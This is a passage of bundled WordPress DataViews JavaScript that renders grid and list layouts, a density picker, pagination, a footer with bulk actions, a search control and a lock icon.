selection,
onChangeSelection,
onClickItem,
isItemClickable,
getItemId,
item,
actions,
mediaField,
titleField,
descriptionField,
regularFields,
badgeFields,
hasBulkActions
}) {
const {
showTitle = true,
showMedia = true,
showDescription = true
} = view;
const hasBulkAction = useHasAPossibleBulkAction(actions, item);
const id = getItemId(item);
const instanceId = (0,external_wp_compose_namespaceObject.useInstanceId)(GridItem);
const isSelected = selection.includes(id);
const renderedMediaField = mediaField?.render ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(mediaField.render, {
item: item
}) : null;
const renderedTitleField = showTitle && titleField?.render ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(titleField.render, {
item: item
}) : null;
const clickableMediaItemProps = getClickableItemProps({
item,
isItemClickable,
onClickItem,
className: 'dataviews-view-grid__media'
});
const clickableTitleItemProps = getClickableItemProps({
item,
isItemClickable,
onClickItem,
className: 'dataviews-view-grid__title-field dataviews-title-field'
});
let mediaA11yProps;
let titleA11yProps;
if (isItemClickable(item) && onClickItem) {
if (renderedTitleField) {
mediaA11yProps = {
'aria-labelledby': `dataviews-view-grid__title-field-${instanceId}`
};
titleA11yProps = {
id: `dataviews-view-grid__title-field-${instanceId}`
};
} else {
mediaA11yProps = {
'aria-label': (0,external_wp_i18n_namespaceObject.__)('Navigate to item')
};
}
}
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
spacing: 0,
className: dist_clsx('dataviews-view-grid__card', {
'is-selected': hasBulkAction && isSelected
}),
onClickCapture: event => {
if (event.ctrlKey || event.metaKey) {
event.stopPropagation();
event.preventDefault();
if (!hasBulkAction) {
return;
}
onChangeSelection(selection.includes(id) ? selection.filter(itemId => id !== itemId) : [...selection, id]);
}
},
children: [showMedia && renderedMediaField && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
...clickableMediaItemProps,
...mediaA11yProps,
children: renderedMediaField
}), hasBulkActions && showMedia && renderedMediaField && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataViewsSelectionCheckbox, {
item: item,
selection: selection,
onChangeSelection: onChangeSelection,
getItemId: getItemId,
titleField: titleField,
disabled: !hasBulkAction
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
justify: "space-between",
className: "dataviews-view-grid__title-actions",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
...clickableTitleItemProps,
...titleA11yProps,
children: renderedTitleField
}), !!actions?.length && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ItemActions, {
item: item,
actions: actions,
isCompact: true
})]
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
spacing: 1,
children: [showDescription && descriptionField?.render && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(descriptionField.render, {
item: item
}), !!badgeFields?.length && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHStack, {
className: "dataviews-view-grid__badge-fields",
spacing: 2,
wrap: true,
alignment: "top",
justify: "flex-start",
children: badgeFields.map(field => {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Badge, {
className: "dataviews-view-grid__field-value",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(field.render, {
item: item
})
}, field.id);
})
}), !!regularFields?.length && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, {
className: "dataviews-view-grid__fields",
spacing: 1,
children: regularFields.map(field => {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Flex, {
className: "dataviews-view-grid__field",
gap: 1,
justify: "flex-start",
expanded: true,
style: {
height: 'auto'
},
direction: "row",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
className: "dataviews-view-grid__field-name",
children: field.header
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
className: "dataviews-view-grid__field-value",
style: {
maxHeight: 'none'
},
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(field.render, {
item: item
})
})]
})
}, field.id);
})
})]
})]
}, id);
}
function ViewGrid({
actions,
data,
fields,
getItemId,
isLoading,
onChangeSelection,
onClickItem,
isItemClickable,
selection,
view
}) {
var _view$fields;
const titleField = fields.find(field => field.id === view?.titleField);
const mediaField = fields.find(field => field.id === view?.mediaField);
const descriptionField = fields.find(field => field.id === view?.descriptionField);
const otherFields = (_view$fields = view.fields) !== null && _view$fields !== void 0 ? _view$fields : [];
const {
regularFields,
badgeFields
} = otherFields.reduce((accumulator, fieldId) => {
const field = fields.find(f => f.id === fieldId);
if (!field) {
return accumulator;
}
// If the field is a badge field, add it to the badgeFields array
// otherwise add it to the rest visibleFields array.
const key = view.layout?.badgeFields?.includes(fieldId) ? 'badgeFields' : 'regularFields';
accumulator[key].push(field);
return accumulator;
}, {
regularFields: [],
badgeFields: []
});
const hasData = !!data?.length;
const updatedPreviewSize = useUpdatedPreviewSizeOnViewportChange();
const hasBulkActions = useSomeItemHasAPossibleBulkAction(actions, data);
const usedPreviewSize = updatedPreviewSize || view.layout?.previewSize;
const gridStyle = usedPreviewSize ? {
gridTemplateColumns: `repeat(${usedPreviewSize}, minmax(0, 1fr))`
} : {};
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [hasData && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalGrid, {
gap: 8,
columns: 2,
alignment: "top",
className: "dataviews-view-grid",
style: gridStyle,
"aria-busy": isLoading,
children: data.map(item => {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GridItem, {
view: view,
selection: selection,
onChangeSelection: onChangeSelection,
onClickItem: onClickItem,
isItemClickable: isItemClickable,
getItemId: getItemId,
item: item,
actions: actions,
mediaField: mediaField,
titleField: titleField,
descriptionField: descriptionField,
regularFields: regularFields,
badgeFields: badgeFields,
hasBulkActions: hasBulkActions
}, getItemId(item));
})
}), !hasData && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: dist_clsx({
'dataviews-loading': isLoading,
'dataviews-no-results': !isLoading
}),
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
children: isLoading ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}) : (0,external_wp_i18n_namespaceObject.__)('No results')
})
})]
});
}
;// ./node_modules/@wordpress/dataviews/build-module/dataviews-layouts/list/index.js
/**
* External dependencies
*/
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
Menu: list_Menu
} = lock_unlock_unlock(external_wp_components_namespaceObject.privateApis);
function generateItemWrapperCompositeId(idPrefix) {
return `${idPrefix}-item-wrapper`;
}
function generatePrimaryActionCompositeId(idPrefix, primaryActionId) {
return `${idPrefix}-primary-action-${primaryActionId}`;
}
function generateDropdownTriggerCompositeId(idPrefix) {
return `${idPrefix}-dropdown`;
}
function PrimaryActionGridCell({
idPrefix,
primaryAction,
item
}) {
const registry = (0,external_wp_data_namespaceObject.useRegistry)();
const [isModalOpen, setIsModalOpen] = (0,external_wp_element_namespaceObject.useState)(false);
const compositeItemId = generatePrimaryActionCompositeId(idPrefix, primaryAction.id);
const label = typeof primaryAction.label === 'string' ? primaryAction.label : primaryAction.label([item]);
return 'RenderModal' in primaryAction ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
role: "gridcell",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Composite.Item, {
id: compositeItemId,
render: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
label: label,
disabled: !!primaryAction.disabled,
accessibleWhenDisabled: true,
icon: primaryAction.icon,
isDestructive: primaryAction.isDestructive,
size: "small",
onClick: () => setIsModalOpen(true)
}),
children: isModalOpen && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ActionModal, {
action: primaryAction,
items: [item],
closeModal: () => setIsModalOpen(false)
})
})
}, primaryAction.id) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
role: "gridcell",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Composite.Item, {
id: compositeItemId,
render: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
label: label,
disabled: !!primaryAction.disabled,
accessibleWhenDisabled: true,
icon: primaryAction.icon,
isDestructive: primaryAction.isDestructive,
size: "small",
onClick: () => {
primaryAction.callback([item], {
registry
});
}
})
})
}, primaryAction.id);
}
function ListItem({
view,
actions,
idPrefix,
isSelected,
item,
titleField,
mediaField,
descriptionField,
onSelect,
otherFields,
onDropdownTriggerKeyDown
}) {
const {
showTitle = true,
showMedia = true,
showDescription = true
} = view;
const itemRef = (0,external_wp_element_namespaceObject.useRef)(null);
const labelId = `${idPrefix}-label`;
const descriptionId = `${idPrefix}-description`;
const registry = (0,external_wp_data_namespaceObject.useRegistry)();
const [isHovered, setIsHovered] = (0,external_wp_element_namespaceObject.useState)(false);
const [activeModalAction, setActiveModalAction] = (0,external_wp_element_namespaceObject.useState)(null);
const handleHover = ({
type
}) => {
const isHover = type === 'mouseenter';
setIsHovered(isHover);
};
(0,external_wp_element_namespaceObject.useEffect)(() => {
if (isSelected) {
itemRef.current?.scrollIntoView({
behavior: 'auto',
block: 'nearest',
inline: 'nearest'
});
}
}, [isSelected]);
const {
primaryAction,
eligibleActions
} = (0,external_wp_element_namespaceObject.useMemo)(() => {
// If an action is eligible for all items, doesn't need
// to provide the `isEligible` function.
const _eligibleActions = actions.filter(action => !action.isEligible || action.isEligible(item));
const _primaryActions = _eligibleActions.filter(action => action.isPrimary && !!action.icon);
return {
primaryAction: _primaryActions[0],
eligibleActions: _eligibleActions
};
}, [actions, item]);
const hasOnlyOnePrimaryAction = primaryAction && actions.length === 1;
const renderedMediaField = showMedia && mediaField?.render ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "dataviews-view-list__media-wrapper",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(mediaField.render, {
item: item
})
}) : null;
const renderedTitleField = showTitle && titleField?.render ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(titleField.render, {
item: item
}) : null;
const usedActions = eligibleActions?.length > 0 && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
spacing: 3,
className: "dataviews-view-list__item-actions",
children: [primaryAction && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PrimaryActionGridCell, {
idPrefix: idPrefix,
primaryAction: primaryAction,
item: item
}), !hasOnlyOnePrimaryAction && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
role: "gridcell",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(list_Menu, {
placement: "bottom-end",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(list_Menu.TriggerButton, {
render: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Composite.Item, {
id: generateDropdownTriggerCompositeId(idPrefix),
render: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
size: "small",
icon: more_vertical,
label: (0,external_wp_i18n_namespaceObject.__)('Actions'),
accessibleWhenDisabled: true,
disabled: !actions.length,
onKeyDown: onDropdownTriggerKeyDown
})
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(list_Menu.Popover, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ActionsMenuGroup, {
actions: eligibleActions,
item: item,
registry: registry,
setActiveModalAction: setActiveModalAction
})
})]
}), !!activeModalAction && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ActionModal, {
action: activeModalAction,
items: [item],
closeModal: () => setActiveModalAction(null)
})]
})]
});
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Composite.Row, {
ref: itemRef,
render: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {}),
role: "row",
className: dist_clsx({
'is-selected': isSelected,
'is-hovered': isHovered
}),
onMouseEnter: handleHover,
onMouseLeave: handleHover,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
className: "dataviews-view-list__item-wrapper",
spacing: 0,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
role: "gridcell",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Composite.Item, {
id: generateItemWrapperCompositeId(idPrefix),
"aria-pressed": isSelected,
"aria-labelledby": labelId,
"aria-describedby": descriptionId,
className: "dataviews-view-list__item",
onClick: () => onSelect(item)
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
spacing: 3,
justify: "start",
alignment: "flex-start",
children: [renderedMediaField, /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
spacing: 1,
className: "dataviews-view-list__field-wrapper",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
spacing: 0,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "dataviews-title-field",
id: labelId,
children: renderedTitleField
}), usedActions]
}), showDescription && descriptionField?.render && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "dataviews-view-list__field",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(descriptionField.render, {
item: item
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "dataviews-view-list__fields",
id: descriptionId,
children: otherFields.map(field => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
className: "dataviews-view-list__field",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, {
as: "span",
className: "dataviews-view-list__field-label",
children: field.label
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
className: "dataviews-view-list__field-value",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(field.render, {
item: item
})
})]
}, field.id))
})]
})]
})]
})
});
}
function isDefined(item) {
return !!item;
}
function ViewList(props) {
var _view$fields;
const {
actions,
data,
fields,
getItemId,
isLoading,
onChangeSelection,
selection,
view
} = props;
const baseId = (0,external_wp_compose_namespaceObject.useInstanceId)(ViewList, 'view-list');
const selectedItem = data?.findLast(item => selection.includes(getItemId(item)));
const titleField = fields.find(field => field.id === view.titleField);
const mediaField = fields.find(field => field.id === view.mediaField);
const descriptionField = fields.find(field => field.id === view.descriptionField);
const otherFields = ((_view$fields = view?.fields) !== null && _view$fields !== void 0 ? _view$fields : []).map(fieldId => fields.find(f => fieldId === f.id)).filter(isDefined);
const onSelect = item => onChangeSelection([getItemId(item)]);
const generateCompositeItemIdPrefix = (0,external_wp_element_namespaceObject.useCallback)(item => `${baseId}-${getItemId(item)}`, [baseId, getItemId]);
const isActiveCompositeItem = (0,external_wp_element_namespaceObject.useCallback)((item, idToCheck) => {
// All composite items use the same prefix in their IDs.
return idToCheck.startsWith(generateCompositeItemIdPrefix(item));
}, [generateCompositeItemIdPrefix]);
// Controlled state for the active composite item.
const [activeCompositeId, setActiveCompositeId] = (0,external_wp_element_namespaceObject.useState)(undefined);
// Update the active composite item when the selected item changes.
(0,external_wp_element_namespaceObject.useEffect)(() => {
if (selectedItem) {
setActiveCompositeId(generateItemWrapperCompositeId(generateCompositeItemIdPrefix(selectedItem)));
}
}, [selectedItem, generateCompositeItemIdPrefix]);
const activeItemIndex = data.findIndex(item => isActiveCompositeItem(item, activeCompositeId !== null && activeCompositeId !== void 0 ? activeCompositeId : ''));
const previousActiveItemIndex = (0,external_wp_compose_namespaceObject.usePrevious)(activeItemIndex);
const isActiveIdInList = activeItemIndex !== -1;
const selectCompositeItem = (0,external_wp_element_namespaceObject.useCallback)((targetIndex, generateCompositeId) => {
// Clamping between 0 and data.length - 1 to avoid out of bounds.
const clampedIndex = Math.min(data.length - 1, Math.max(0, targetIndex));
if (!data[clampedIndex]) {
return;
}
const itemIdPrefix = generateCompositeItemIdPrefix(data[clampedIndex]);
const targetCompositeItemId = generateCompositeId(itemIdPrefix);
setActiveCompositeId(targetCompositeItemId);
document.getElementById(targetCompositeItemId)?.focus();
}, [data, generateCompositeItemIdPrefix]);
// Select a new active composite item when the current active item
// is removed from the list.
(0,external_wp_element_namespaceObject.useEffect)(() => {
const wasActiveIdInList = previousActiveItemIndex !== undefined && previousActiveItemIndex !== -1;
if (!isActiveIdInList && wasActiveIdInList) {
// By picking `previousActiveItemIndex` as the next item index, we are
// basically picking the item that would have been after the deleted one.
// If the previously active (and removed) item was the last of the list,
// we will select the item before it — which is the new last item.
selectCompositeItem(previousActiveItemIndex, generateItemWrapperCompositeId);
}
}, [isActiveIdInList, selectCompositeItem, previousActiveItemIndex]);
// Prevent the default behavior (open dropdown menu) and instead select the
// dropdown menu trigger on the previous/next row.
// https://github.com/ariakit/ariakit/issues/3768
const onDropdownTriggerKeyDown = (0,external_wp_element_namespaceObject.useCallback)(event => {
if (event.key === 'ArrowDown') {
// Select the dropdown menu trigger item in the next row.
event.preventDefault();
selectCompositeItem(activeItemIndex + 1, generateDropdownTriggerCompositeId);
}
if (event.key === 'ArrowUp') {
// Select the dropdown menu trigger item in the previous row.
event.preventDefault();
selectCompositeItem(activeItemIndex - 1, generateDropdownTriggerCompositeId);
}
}, [selectCompositeItem, activeItemIndex]);
const hasData = data?.length;
if (!hasData) {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: dist_clsx({
'dataviews-loading': isLoading,
'dataviews-no-results': !hasData && !isLoading
}),
children: !hasData && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
children: isLoading ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}) : (0,external_wp_i18n_namespaceObject.__)('No results')
})
});
}
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Composite, {
id: baseId,
render: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {}),
className: "dataviews-view-list",
role: "grid",
activeId: activeCompositeId,
setActiveId: setActiveCompositeId,
children: data.map(item => {
const id = generateCompositeItemIdPrefix(item);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ListItem, {
view: view,
idPrefix: id,
actions: actions,
item: item,
isSelected: item === selectedItem,
onSelect: onSelect,
mediaField: mediaField,
titleField: titleField,
descriptionField: descriptionField,
otherFields: otherFields,
onDropdownTriggerKeyDown: onDropdownTriggerKeyDown
}, id);
})
});
}
;// ./node_modules/@wordpress/dataviews/build-module/dataviews-layouts/table/density-picker.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
function DensityPicker() {
const context = (0,external_wp_element_namespaceObject.useContext)(dataviews_context);
const view = context.view;
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalToggleGroupControl, {
__nextHasNoMarginBottom: true,
size: "__unstable-large",
label: (0,external_wp_i18n_namespaceObject.__)('Density'),
value: view.layout?.density || 'balanced',
onChange: value => {
context.onChangeView({
...view,
layout: {
...view.layout,
density: value
}
});
},
isBlock: true,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalToggleGroupControlOption, {
value: "comfortable",
label: (0,external_wp_i18n_namespaceObject._x)('Comfortable', 'Density option for DataView layout')
}, "comfortable"), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalToggleGroupControlOption, {
value: "balanced",
label: (0,external_wp_i18n_namespaceObject._x)('Balanced', 'Density option for DataView layout')
}, "balanced"), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalToggleGroupControlOption, {
value: "compact",
label: (0,external_wp_i18n_namespaceObject._x)('Compact', 'Density option for DataView layout')
}, "compact")]
});
}
;// ./node_modules/@wordpress/dataviews/build-module/dataviews-layouts/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const VIEW_LAYOUTS = [{
type: constants_LAYOUT_TABLE,
label: (0,external_wp_i18n_namespaceObject.__)('Table'),
component: table,
icon: block_table,
viewConfigOptions: DensityPicker
}, {
type: constants_LAYOUT_GRID,
label: (0,external_wp_i18n_namespaceObject.__)('Grid'),
component: ViewGrid,
icon: library_category,
viewConfigOptions: PreviewSizePicker
}, {
type: constants_LAYOUT_LIST,
label: (0,external_wp_i18n_namespaceObject.__)('List'),
component: ViewList,
icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? format_list_bullets_rtl : format_list_bullets
}];
;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews-layout/index.js
/**
* External dependencies
*/
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
function DataViewsLayout() {
const {
actions = [],
data,
fields,
getItemId,
getItemLevel,
isLoading,
view,
onChangeView,
selection,
onChangeSelection,
setOpenedFilter,
onClickItem,
isItemClickable
} = (0,external_wp_element_namespaceObject.useContext)(dataviews_context);
const ViewComponent = VIEW_LAYOUTS.find(v => v.type === view.type)?.component;
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ViewComponent, {
actions: actions,
data: data,
fields: fields,
getItemId: getItemId,
getItemLevel: getItemLevel,
isLoading: isLoading,
onChangeView: onChangeView,
onChangeSelection: onChangeSelection,
selection: selection,
setOpenedFilter: setOpenedFilter,
onClickItem: onClickItem,
isItemClickable: isItemClickable,
view: view
});
}
;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews-pagination/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
function DataViewsPagination() {
var _view$page;
const {
view,
onChangeView,
paginationInfo: {
totalItems = 0,
totalPages
}
} = (0,external_wp_element_namespaceObject.useContext)(dataviews_context);
if (!totalItems || !totalPages) {
return null;
}
const currentPage = (_view$page = view.page) !== null && _view$page !== void 0 ? _view$page : 1;
const pageSelectOptions = Array.from(Array(totalPages)).map((_, i) => {
const page = i + 1;
return {
value: page.toString(),
label: page.toString(),
'aria-label': currentPage === page ? (0,external_wp_i18n_namespaceObject.sprintf)(
// translators: Current page number in total number of pages
(0,external_wp_i18n_namespaceObject.__)('Page %1$s of %2$s'), currentPage, totalPages) : page.toString()
};
});
return !!totalItems && totalPages !== 1 && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
expanded: false,
className: "dataviews-pagination",
justify: "end",
spacing: 6,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHStack, {
justify: "flex-start",
expanded: false,
spacing: 1,
className: "dataviews-pagination__page-select",
children: (0,external_wp_element_namespaceObject.createInterpolateElement)((0,external_wp_i18n_namespaceObject.sprintf)(
// translators: 1: Current page number, 2: Total number of pages.
(0,external_wp_i18n_namespaceObject._x)('<div>Page</div>%1$s<div>of %2$s</div>', 'paging'), '<CurrentPage />', totalPages), {
div: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
"aria-hidden": true
}),
CurrentPage: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SelectControl, {
"aria-label": (0,external_wp_i18n_namespaceObject.__)('Current page'),
value: currentPage.toString(),
options: pageSelectOptions,
onChange: newValue => {
onChangeView({
...view,
page: +newValue
});
},
size: "small",
__nextHasNoMarginBottom: true,
variant: "minimal"
})
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
expanded: false,
spacing: 1,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
onClick: () => onChangeView({
...view,
page: currentPage - 1
}),
disabled: currentPage === 1,
accessibleWhenDisabled: true,
label: (0,external_wp_i18n_namespaceObject.__)('Previous page'),
icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? library_next : library_previous,
showTooltip: true,
size: "compact",
tooltipPosition: "top"
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
onClick: () => onChangeView({
...view,
page: currentPage + 1
}),
disabled: currentPage >= totalPages,
accessibleWhenDisabled: true,
label: (0,external_wp_i18n_namespaceObject.__)('Next page'),
icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? library_previous : library_next,
showTooltip: true,
size: "compact",
tooltipPosition: "top"
})]
})]
});
}
/* harmony default export */ const dataviews_pagination = ((0,external_wp_element_namespaceObject.memo)(DataViewsPagination));
;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews-footer/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const dataviews_footer_EMPTY_ARRAY = [];
function DataViewsFooter() {
const {
view,
paginationInfo: {
totalItems = 0,
totalPages
},
data,
actions = dataviews_footer_EMPTY_ARRAY
} = (0,external_wp_element_namespaceObject.useContext)(dataviews_context);
const hasBulkActions = useSomeItemHasAPossibleBulkAction(actions, data) && [constants_LAYOUT_TABLE, constants_LAYOUT_GRID].includes(view.type);
if (!totalItems || !totalPages || totalPages <= 1 && !hasBulkActions) {
return null;
}
return !!totalItems && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
expanded: false,
justify: "end",
className: "dataviews-footer",
children: [hasBulkActions && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(BulkActionsFooter, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(dataviews_pagination, {})]
});
}
;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews-search/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const DataViewsSearch = (0,external_wp_element_namespaceObject.memo)(function Search({
label
}) {
const {
view,
onChangeView
} = (0,external_wp_element_namespaceObject.useContext)(dataviews_context);
const [search, setSearch, debouncedSearch] = (0,external_wp_compose_namespaceObject.useDebouncedInput)(view.search);
(0,external_wp_element_namespaceObject.useEffect)(() => {
var _view$search;
setSearch((_view$search = view.search) !== null && _view$search !== void 0 ? _view$search : '');
}, [view.search, setSearch]);
const onChangeViewRef = (0,external_wp_element_namespaceObject.useRef)(onChangeView);
const viewRef = (0,external_wp_element_namespaceObject.useRef)(view);
(0,external_wp_element_namespaceObject.useEffect)(() => {
onChangeViewRef.current = onChangeView;
viewRef.current = view;
}, [onChangeView, view]);
(0,external_wp_element_namespaceObject.useEffect)(() => {
if (debouncedSearch !== viewRef.current?.search) {
onChangeViewRef.current({
...viewRef.current,
page: 1,
search: debouncedSearch
});
}
}, [debouncedSearch]);
const searchLabel = label || (0,external_wp_i18n_namespaceObject.__)('Search');
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SearchControl, {
className: "dataviews-search",
__nextHasNoMarginBottom: true,
onChange: setSearch,
value: search,
label: searchLabel,
placeholder: searchLabel,
size: "compact"
});
});
/* harmony default export */ const dataviews_search = (DataViewsSearch);
;// ./node_modules/@wordpress/icons/build-module/library/lock.js
/**
* WordPress dependencies
*/
const lock_lock = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
viewBox: "0 0 24 24",
xmlns: "http://www.w3.org/2000/svg",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M17 10h-1.2V7c0-2.1-1.7-3.8-3.8-3.8-2.1 0-3.8 1.7-3.8 3.8v3H7c-.6 0-1 .4-1 1v8c0 .6.4 1 1 1h10c.6 0 1-.4 1-1v-8c0-.6-.4-1-1-1zm-2.8 0H9.8V7c0-1.2 1-2.2 2.2-2.2s2.2 1 2.2 2.2v3z"
})
});
/* harmony default export */ const library_lock = (lock_lock);
